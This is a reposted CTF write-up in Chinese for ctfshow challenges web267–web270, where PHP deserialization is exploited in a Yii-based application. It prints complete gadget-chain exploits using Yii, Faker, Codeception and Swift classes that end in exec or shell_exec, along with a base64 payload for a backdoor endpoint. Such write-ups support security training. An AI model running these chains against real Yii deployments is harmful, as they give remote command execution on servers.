ctfshow web入门 php反序列化 web267--web270

ops/2024/9/23 12:52:38/

web267

查看源代码发现这三个页面在这里插入图片描述
然后发现登录页面直接admin/admin登录成功

在这里插入图片描述
然后看到了

php">///backdoor/shell
unserialize(base64_decode($_GET['code']))

EXP

php"><?php 
namespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess='exec';$this->id='cat /flag >3.txt';}}
}
namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close']=[new IndexAction(),'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}
namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
?>
php">传参GET:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjExOiJscyAvID4xLnR4dCI7fWk6MTtzOjM6InJ1biI7fX19fQ==
访问
http://08a2bbcd-9f38-4806-bf8d-902d04e4a1fc.challenge.ctf.show/1.txt

web268

一样的操作
EXP

php"><?php 
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess='shell_exec';$this->id='cat /flags | tee 2.txt';//$this->id='ls / | tee 1.txt';}}
}
namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['isRunning']=[new CreateAction(),'run'];}}
}
namespace Codeception\Extension{use Faker\Generator;class RunProcess{private $processes;public function __construct(){$this->processes=[new Generator()];}}
}
namespace {echo base64_encode((serialize(new Codeception\Extension\RunProcess())));
}
?>
忘记解释了shell_exec是一个用于在 shell 中执行命令,并返回输出的php系统函数
id='cat /flags | tee 2.txt';
我自己写的时候呢是写的'cat /flags >3.txt'但是这种并不会在屏幕上面显示不好
所以还是用管道符| 和 tee

web269

EXP

php"><?php 
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess='shell_exec';$this->id='cat /flagsa | tee 2.txt';//$this->id='ls / | tee 1.txt';}}
}
namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['render']=[new CreateAction(),'run'];}}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description=new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys=[];private $path;public function __construct(){$this->path=new See;$this->keys=array("axin"=>array("is"=>"handsome"));}}echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270

EXP

php"><?php
namespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess='shell_exec';$this->id='cat /flagsaa | tee 2.txt';//$this->id='ls / | tee 1.txt';}}
}
namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$this->writeCallback=[new IndexAction(),'run'];}}
}
namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new DbSession();}}
}
namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
?>

http://www.ppmy.cn/ops/39489.html

相关文章

Vue 基础语法

【1】模板语法 &#xff08;1&#xff09;差值表达式 {{}}是 Vue.js 中的文本插值表达式。 它用于在模板中输出数据或表达式的值。当数据或表达式的值发生变化时&#xff0c;插值表达式会自动更新。 补充&#xff1a;三目运算符 它的基本语法是 Condition ? A : B&#xff0…

自定义redisTemplate实现自定义序列化

由于我们使用springboot集成的redis工具的时候&#xff0c;redisTemplate内部是采用了jdk默认的序列化工具来对我们存储的数据进行序列化的&#xff0c;这会导致我们在redis中存储的序列化后的数据和我们原来的数据格式在查看的时候会有偏差&#xff0c;所以我们需要自定义redi…

Github 2024-05-08 C开源项目日报 Top8

根据Github Trendings的统计,今日(2024-05-08统计)共有8个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量C项目8PHP项目1Python项目1C++项目1PHP:流行的Web开发脚本语言 创建周期:4710 天开发语言:C, PHP协议类型:OtherStar数量:37340 个Fork数量…

Vue计算属性

computed计算属性 概念 基于现有的数据&#xff0c;计算出来的新属性。 依赖的数据变化&#xff0c;自动重新计算。 语法 声明在 computed 配置项中&#xff0c;一个计算属性对应一个函数使用起来和普通属性一样使用 {{ 计算属性名}} <div class"app">{{ s…

Postman的简介,安装,注册。

一、安装 1.Chrome应用商品搜索Postman安装。(翻墙) 2.客户端安装官网地址:https://www.postman.com/downloads/ 3.Postman的注册和登录。 4.Postman的界面介绍 Home主页 workspaces 工作空间 Collections 集合&#xff0c;项目集合。 Apis api文档 EnViromments …

D3.js实战:数据可视化高级技巧实例应用

基础 首先&#xff0c;我们需要一个HTML文件来引入D3.js库&#xff0c;并准备一个画布来放置我们的图表。 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"width…

数据分析——业务指标分析

业务指标分析 前言一、业务指标分析的定义二、业务问题构建问题构建的要求 三、业务问题的识别在识别问题的阶段对于企业内部收益者的补充 四、竞争者分析竞争者分析的内容竞争者分析目的案例 五、市场机会识别好的市场机会必须满足的条件市场机会案例 六、风险控制数据分析师常…

nginx--FastCGI

CGI 概念 nginx通过与第三方基于协议实现&#xff0c;即通过某种特定协议将客户端请求转发给第三方服务处理&#xff0c;第三方服务器会新建新的进程处理用户的请求&#xff0c;处理完成后返回数据给Nginx并回收进程(下次处理有需要新建)&#xff0c;最后nginx在返回给客户端…